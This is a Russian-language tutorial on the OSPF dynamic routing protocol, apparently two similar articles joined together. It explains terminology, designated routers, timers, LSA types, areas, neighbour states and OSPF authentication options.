  • База данных соседей (neighbours database) - список всех соседей.
  • База данных состояния каналов (link state database, LSDB) - список всех записей о состоянии каналов. Встречается также термин топологическая база данных (topological database), употребляется как синоним базы данных состояния каналов.
  • Идентификатор маршрутизатора (router ID, RID) - уникальное 32-битовое число, которое уникально идентифицирует маршрутизатор в пределах одной автономной системы.
  • Выделенный маршрутизатор (designated router, DR) - управляет процессом рассылки LSA в сети. Каждый маршрутизатор сети устанавливает отношения соседства с DR. Информация об изменениях в сети отправляется DR, маршрутизатором обнаружившим это изменение, а DR отвечает за то, чтобы эта информация была отправлена остальным маршрутизаторам сети.Недостатком в схеме работы с DR маршрутизатором является то, что при выходе его из строя должен быть выбран новый DR. Новые отношения соседства должны быть сформированы и, пока базы данных маршрутизаторов не синхронизируются с базой данных нового DR, сеть будет недоступна для пересылки пакетов. Для устранения этого недостатка выбирается BDR.
  • Резервный выделенный маршрутизатор (backup designated router, BDR) . Каждый маршрутизатор сети устанавливает отношения соседства не только с DR, но и BDR. DR и BDR также устанавливают отношения соседства и между собой. При выходе из строя DR, BDR становится DR и выполняет все его функции. Так как маршрутизаторы сети установили отношения соседства с BDR, то время недоступности сети минимизируется.

Краткое описание работы протокола

  1. Маршрутизаторы обмениваются hello-пакетами через все интерфейсы на которых активирован OSPF . Маршрутизаторы разделяющие общий канал передачи данных становятся соседями, когда они приходят к договоренности об определенных параметрах указанных в их hello-пакетах.
  2. На следующем этапе работы протокола маршрутизаторы будут пытаться перейти в состояние соседства со своими соседями. Переход в состояние соседства определяется типом маршрутизаторов обменивающихся hello-пакетами и типом сети по которой передаются hello-пакеты. OSPF определяет несколько типов сетей и несколько типов маршрутизаторов. Пара маршрутизаторов, находящихся в состоянии соседства синхронизирует между собой базу данных состояния каналов.
  3. Каждый маршрутизатор посылает объявление о состоянии канала маршрутизаторам с которыми он находится в состоянии соседства.
  4. Каждый маршрутизатор получивший объявление от соседа записывает информацию передаваемую в нем в базу данных состояния каналов маршрутизатора и рассылает копию объявления всем другим своим соседям.
  5. Рассылая объявления через зону, все маршрутизаторы строят идентичную базу данных состояния каналов маршрутизатора.
  6. Когда база данных построена, каждый маршрутизатор использует алгоритм кратчайший путь первым для вычисления графа без петель, который будет описывать кратчайший путь к каждому известному пункту назначения с собой в качестве корня. Этот граф это дерево кратчайшего пути.
  7. Каждый маршрутизатор строит таблицу маршрутизации из своего дерева кратчайшего пути.

В сетях со множественным доступом отношения соседства должны быть установлены между всеми маршрутизаторами. Это приводит к тому, что рассылается большое количество копий LSA. Если, к примеру, количество маршрутизаторов в сети со множественным доступом равно n , то будет установлено n(n-1)/2 отношений соседства. Каждый маршрутизатор будет рассылать n-1 LSA своим соседям, плюс одно LSA для сети, в результате сеть сгенерирует n? LSA.

Маршрутизатор, выбранный DR или BDR в одной присоединенной к нему сети со множественным доступом, может не быть DR (BDR) в другой присоединенной сети. Роль DR (BDR) является свойством интерфейса, а не свойством всего маршрутизатора.

Таймеры протокола

  • HelloInterval - Интервал времени в секундах по истечению которого маршрутизатор отправляет следующий hello-пакет с интерфейса. Для широковещательных сетей и сетей точка-точка значение по умолчанию, как правило, 10 секунд. Для нешироковещательных сетей со множественным доступом значение по умолчанию 30 секунд.
  • RouterDeadInterval - Интервал времени в секундах по истечению которого сосед будет считаться «мертвым». Этот интервал должен быть кратным значению HelloInterval. Как правило, RouterDeadInterval равен 4 интервалам отправки hello-пакетов, то есть 40 секунд.
  • Wait Timer - Интервал времени в секундах по истечению которого маршрутизатор выберет DR в сети. Его значение равно значению интервала RouterDeadInterval.
  • RxmtInterval - Интервал времени в секундах по истечению которого маршрутизатор повторно отправит пакет на который не получил подтверждения о получении (например, Database Description пакет или Link State Request пакеты). Это интервал называется также Retransmit interval. Значение интервала 5 секунд.

Типы маршрутизаторов

Внутренний маршрутизатор (internal router) - маршрутизатор все интерфейсы которого принадлежат одной зоне. У таких маршрутизаторов только одна база данных состояния каналов.

Пограничный маршрутизатор (area border router, ABR) - соединяет одну или больше зон с магистральной зоной и выполняет функции шлюза для межзонального трафика. У пограничного маршрутизатора всегда хотя бы один интерфейс принадлежит магистральной зоне. Для каждой присоединенной зоны маршрутизатор поддерживает отдельную базу данных состояния каналов.

Магистральный маршрутизатор (backbone router) - маршрутизатор у которого всегда хотя бы один интерфейс принадлежит магистральной зоне. Определение похоже на пограничный маршрутизатор, однако магистральный маршрутизатор не всегда является пограничным. Внутренний маршрутизатор интерфейсы которого принадлежат нулевой зоне, также является магистральным.

Пограничный маршрутизатор автономной системы (AS boundary router, ASBR) - обменивается информацией с маршрутизаторами принадлежащими другим автономным системам. Пограничный маршрутизатор автономной системы может находиться в любом месте автономной системы и быть внутренним, пограничным или магистральным маршрутизатором.

Типы объявлений о состоянии канала (LSA)

Type 1 LSA - Router LSA - объявление о состоянии каналов маршрутизатора. Эти LSA распространяются всеми маршрутизаторами. В LSA содержится описание всех каналов маршрутизатора и стоимость (cost) каждого канала. Распространяются только в пределах одной зоны.

Type 2 LSA - Network LSA - объявление о состоянии каналов сети. Распространяется DR в сетях со множественным доступом. В LSA содержится описание всех маршрутизаторов присоединенных к сети, включая DR. Распространяются только в пределах одной зоны.

Type 3 LSA - Network Summary LSA - суммарное объявление о состоянии каналов сети. Объявление распространяется пограничными маршрутизаторами. Объявление описывает только маршруты к сетям вне зоны и не описывает маршруты внутри автономной системы. Пограничный маршрутизатор отправляет отдельное объявление для каждой известной ему сети.

Когда маршрутизатор получает Network Summary LSA от пограничного маршрутизатора он не запускает алгоритм вычисления кратчайшего пути. Маршрутизатор просто добавляет к стоимости маршрута указанного в LSA стоимость маршрута к пограничному маршрутизатору. Затем маршрут к сети через пограничный маршрутизатор помещается в таблицу маршрутизации.

Type 4 LSA - ASBR Summary LSA - суммарное объявление о состоянии каналов пограничного маршрутизатора автономной системы. Объявление распространяется пограничными маршрутизаторами. ASBR Summary LSA отличается от Network Summary LSA тем, что распространяется информация не о сети, а о пограничном маршрутизаторе автономной системы.

Type 5 LSA - AS External LSA - объявления о состоянии внешних каналов автономной системы. Объявление распространяется пограничным маршрутизатором автономной системы в пределах всей автономной системы. Объявление описывает маршруты внешние для автономной системы OSPF или маршруты по умолчанию (default route) внешние для автономной системы OSPF.

Type 7 LSA - AS External LSA for NSSA - объявления о состоянии внешних каналов автономной системы в NSSA зоне. Это объявление может передаваться только в NSSA зоне. На границе зоны пограничный маршрутизатор преобразует type 7 LSA в type 5 LSA.

Типы зон

При разделении автономной системы на зоны, маршрутизаторам принадлежащим к одной зоне не известна информация о детальной топологии других зон.

Разделение на зоны позволяет:

  • Снизить нагрузку на ЦПУ маршрутизаторов за счет уменьшения количества перерасчетов по алгоритму SPF
  • Уменьшить размер таблиц маршрутизации
  • Уменьшить количество пакетов обновлений состояния канала

Каждой зоне присваивается идентификатор зоны (area ID). Идентификатор может быть указан в десятичном формате или в формате записи IP-адреса. Однако идентификаторы зон не являются IP-адресами и могут совпадать с любым назначенным IP-адресом.

Магистральная зона (backbone area)

Магистральная зона (известная также как нулевая зона (Area 0) или зона 0.0.0.0) формирует ядро сети OSPF. Все остальные зоны ДОЛЖНЫ быть соединены с ней, и межзональная маршрутизация происходит через маршрутизатор соединенный с магистральной зоной. Магистральная зона ответственна за распространение маршрутизирующей информации между немагистральными зонами. Магистральная зона должна быть смежной с другими зонами, но она не обязательно должна быть физически смежной; соединение с магистральной зоной может быть установлено и с помощью виртуальных каналов (virtual links).

Состояния OSPF соседа

Во время формирования соседских отношений OSPF роутеры (маршрутизаторы) проходят следущие состояния: Down, Attempt, Init, 2-Way, Exstart, Exchange, Loading, и Full.

Down state

Первое состояние OSPF соседа. В данном состоянии обмена Hello пакетами еще не производилось или соседские отношения развалились (состояние Full), по причине истечения RouterDeadInterval . Hello-пакеты в данном состоянии принимаются.

Attempt state

Это состояние проходят вручную прописанные в конфигурацию роутера OSPF работающего в NBMA среде (Nonbroadcast Multiple Access Network (NBMA) – среда не поддерживающая распространение multicast и broadcast трафика). В этом состоянии роутер посылает юникаст (unicast) hello-пакеты со своего unicast адреса на unicast адрес соседа.

Init state

Состояние инициализации, когда роутер получил hello пакет от соседа на один из интерфейсов OSPF, но RID получателя ещё небыл включен (вписан) в hello-пакет. Роутер вставляет RID соседа, от которого был получен hello-пакет, в свой hello-пакет как подтверждение того, что он был получен.

2Way state

В данном состоянии между роутерами установлен двунаправленный обмен, т.к. при разборе пришедшего hello-пакета содержится RID этого роутера, т.е. оба роутера получили hello-пакеты друг от друга. Именно в конце установки этого состояния в broadcast среде проиходят выборы DR и BDR если они ещё отсутствуют в Area в которой находятся интерфейсы роутера на которые были получены hello-пакеты.

В NBMA среде выборов DR и BDR не производится.

Exstart state

После выборов DR и BDR, между роутерами и DR, BDR начинается процесс обмена пакетами DBD (Database Descriptor) c информацией о состоянии каналов. В этом состоянии, роутеры и их DR и BDR устанавливают отношения master-slave . Роутер с самым большим Router ID (RID) становиться master и начинает обмен.

Exchange state

В этом состояни, OSPF роутеры обмениваются пакетами дескрипторами базы данных (DBD). Дескрипторы базы данных содержат только заголовки LSA, которые описывают содержимое всей базы данных о состоянии каналов. Каждый DBD пакет имеет номер, который увеличивается только master роутером и обязатесльно подтверждается slave`вом. Роутеры посылают link-state request пакеты и link-state update пакеты, они содержат всю LSA. Содержимое полученного DPD сравнивается с информацией содержащейся в link-state database роутера, идет поиск, имеются ли новые сведения о состоянии каналов доступных соседу.

Происходит непосредственно обмен информацией о состоянии канала. Основываясь на информации полученной через DBD, роутеры посылают link-state request пакеты о состоянии канала. Затем сосед предоставляет запрошенную link-state информацию в link-state update пакетах. Во время adjacency, если роутер принял устаревшую или отсутствующую LSA, он запрашивает эту LSA, посылая link-state request пакет. Все link-state update пакеты нуждаются в обязательном подтвеждении (acknowledgment).

Full state

В этом состоянии соседские отношения полностью установлены. Роутеры обменялись LSA и база данных, на роутерах, полностью синхронизирована. Состояние Full является нормальным состоянием для OSPF роутера.

Роутер может «застрять» в каком-то из состояний, это указывает на проблему в формировании связности (adjacency). Исключением является состояние 2Way , которое является обычным для соседей в broadcast среде. Состояние Full устанавливается только с DR и BDR. С остальными соседями в этой среде будет установлено состояние 2WAY/DROTHER.

В broadcast среде, все OSPF роутеры общаются через multicast адрес 224.0.0.5, но DR и BDR, для общения между собой, используют multicast адрес 224.0.0.6. Благодаря тому, что в broadcast среде работает multicast, определение и нахождение OSPF соседей происходит автоматически.

OSPF (Open Shortest Path First) – протокол динамической маршрутизации, основанный на технологии отслеживания состояния канала (link-state technology) и использующий для нахождения кратчайшего пути алгоритм Дейкстры.

Последняя версия протокола представлена в RFC 2328. OSPF представляет собой протокол внутреннего шлюза (Interior Gateway Protocol – IGP), распространяет информацию о доступных маршрутах между маршрутизирующими устройствами (маршрутизаторами) одной автономной системы.

OSPF предлагает решение следующих задач:

    увеличение скорости сходимости сети (т.е. одинаковое понимание текущей сетевой топологии всеми маршрутизаторами) по сравнению с протоколом RIP;

    поддержка сетевых масок переменной длины (VLSM, применяются в бессклассовой IP-адресации);

    достижимость сети;

    оптимальное использование пропускной способности сети;

    определение кратчайшего маршрута.

Терминология протокола OSPF

Объявление о состоянии канала (Link-State Advertisement, LSA) – объявление описывает все каналы маршрутизатора, все интерфейсы и состояние каналов.

Состояние канала (Link state) – состояние канала между двумя маршрутизаторами; обновления происходят при помощи пакетов LSA.

Метрика (metric) – условный показатель "стоимости" пересылки данных по каналу;

Автономная система (Autonomous System, AS) – группа устройств, обменивающаяся маршрутизирующей информацией в соответствии с единой политикой и протоколом маршрутизации.

Зона (area) – совокупность сетей и маршрутизаторов, имеющих один и тот же идентификатор зоны.

Соседи (neighbours) – два маршрутизатора, имеющие интерфейсы в общей сети.

Состояние соседства (adjacency) – взаимосвязь между определенными соседними маршрутизаторами, установленная с целью обмена информацией маршрутизации.

Hello-пакеты (Hello packets) – используются для обмена информации и поддержания соседских отношений.

База данных соседей (Neighbours database) – список всех соседей.

База данных состояния каналов (Link State Database, LSDB) – список всех записей о состоянии каналов. Встречается также термин топологическая база данных (topological database), употребляется как синоним базы данных состояния каналов.

Идентификатор маршрутизатора (Router ID, RID) – уникальное 32-битовое число, которое уникально идентифицирует маршрутизатор в пределах одной автономной системы.

Выделенный маршрутизатор (Designated Router, DR) – управляет процессом рассылки LSA в сети. Каждый маршрутизатор сети устанавливает отношения соседства с DR и отправляет ему информацию об изменениях в сети, а DR отвечает за то, чтобы данная информация была отправлена остальным маршрутизаторам сети. Недостатком в схеме работы с DR маршрутизатором является то, что при выходе его из строя должен быть выбран новый DR. Новые отношения соседства должны быть сформированы и, пока базы данных маршрутизаторов не синхронизируются с базой данных нового DR, сеть будет недоступна для пересылки пакетов. Для устранения этого недостатка выбирается BDR.

Резервный выделенный маршрутизатор (Backup Designated Router, BDR). Каждый маршрутизатор сети устанавливает отношения соседства не только с DR, но и BDR. DR и BDR также устанавливают отношения соседства между собой. При выходе из строя DR, BDR становится выделенным маршрутизатором и выполняет все его функции. Так как маршрутизаторы сети устанавливают отношения соседства с BDR, то время недоступности сети минимизируется.

Краткое описание работы протокола OSPF

Маршрутизаторы обмениваются hello-пакетами через все интерфейсы, на которых активирован OSPF. Устройства, разделяющие общий канал передачи данных, становятся соседями после согласования определенных параметров, указанных в hello-пакетах.

Далее маршрутизаторы обмениваются hello-пакетами с устройствами других сетей для установления соседства. OSPF определяет несколько типов сетей и несколько типов маршрутизаторов. Пара маршрутизаторов, находящихся в состоянии соседства синхронизирует между собой базу данных состояния каналов.

Каждый маршрутизатор посылает объявление о состоянии канала своему соседу. Последний, получив объявление, записывает передаваемую в нем информацию в базу данных состояния каналов маршрутизатора и рассылает копию объявления всем другим своим соседям.

Рассылая объявления через зону, все маршрутизаторы строят идентичную базу данных состояния каналов маршрутизатора.

Когда база данных построена, каждый маршрутизатор использует алгоритм нахождения кратчайшего пути для вычисления графа без образования петель (т.е. дерева кратчайшего пути), который будет описывать кратчайший маршрут к каждому известному пункту назначения, отображая в качестве корня самого себя. Самый короткий путь в дереве соответствует оптимальному маршруту к каждой сети назначения в автономной системе.

Каждый маршрутизатор строит таблицу маршрутизации из своего дерева кратчайшего пути и отправляет соседям не все записи таблицы, а только обновленные и измененные данные о маршрутах.

Учитывая, что в сетях с множественным доступом отношения соседства должны быть установлены между всеми маршрутизаторами, существует проблема рассылки огромного количества копий LSA. Для предотвращения этой проблемы в сетях выбираются выделенный (DR) и резервный выделенный (BDR) маршрутизаторы.

Типы зон

При разделении автономной системы на зоны, маршрутизаторам, принадлежащим к одной зоне, не известна информация о детальной топологии других зон.

Разделение на зоны позволяет:

    снизить нагрузку на ЦПУ маршрутизаторов за счет уменьшения количества перерасчетов по алгоритму SPF;

    уменьшить размер таблиц маршрутизации;

    уменьшить количество пакетов обновлений состояния канала.

Каждой зоне присваивается идентификатор зоны (Area ID) и может быть указан в десятичном формате или в формате записи IP-адреса. Однако идентификаторы зон не являются IP-адресами и могут совпадать с любым назначенным IP-адресом.

В любых OSPF-сетях обязательно должна быть определена магистральная зона (Backbone area), известная также как нулевая зона (Area 0) или зона 0.0.0.0, которая формирует ядро сети OSPF. Все остальные зоны должны быть соединены с ней при помощи маршрутизатора, через который обеспечивается межзональная маршрутизация. Если область не связана физически с магистралью, то необходимо добавить виртуальное соединение.

Тупиковая зона (Stub area) не принимает информацию о внешних маршрутах для автономной системы, а объявляет о маршруте по умолчанию. Если маршрутизаторам из тупиковой зоны необходимо передавать информацию за границу автономной системы, то они используют маршрут по умолчанию.

Транзитная зона (Transit area) передает информацию из зон, не связанных непосредственно с магистральной зоной.

Типы маршрутизаторов

Все интерфейсы внутреннего маршрутизатора (Internal Router, IR) принадлежат одной зоне. У таких маршрутизаторов только одна база данных состояния каналов.

Граничный маршрутизатор (Area Border Router, ABR) соединяет одну или больше зон с магистральной зоной и выполняет функции шлюза для межзонального трафика. У граничного маршрутизатора всегда хотя бы один интерфейс принадлежит магистральной зоне. Для каждой присоединенной зоны маршрутизатор поддерживает отдельную базу данных состояния каналов.

Граничный маршрутизатор автономной системы (AS Boundary Router, ASBR) обменивается информацией с маршрутизаторами других автономных систем. ASBR может находиться в любом месте автономной системы и быть внутренним, граничным или магистральным маршрутизатором.

Магистральный маршрутизатор (Backbone Router, BR) используется в магистральной зоне.

Рис. 4.1. Сеть OSPF

OSPF поддерживает следующие методы аутентификации:

    0 (в межсетевых экранах NetDefend: No Authentification) – для обмена информацией не требуется аутентификация OSPF;

    1 (в межсетевых экранах NetDefend: Passphrase) – для аутентификации OSPF требуется простой пароль;

    2 (в межсетевых экранах NetDefend: MD5 Digest) – MD5-аутентификация содержит идентификатор ключа (key ID) и 128-битный ключ. Определенный ключ используется для создания 128-бит MD5-хэша. Но назначение аутентификации не означает, что OSPF-пакеты шифруются. В случае необходимости передачи шифрованного OSPF-трафика, его направляют через VPN-туннель (например, IPSec).

Похожие публикации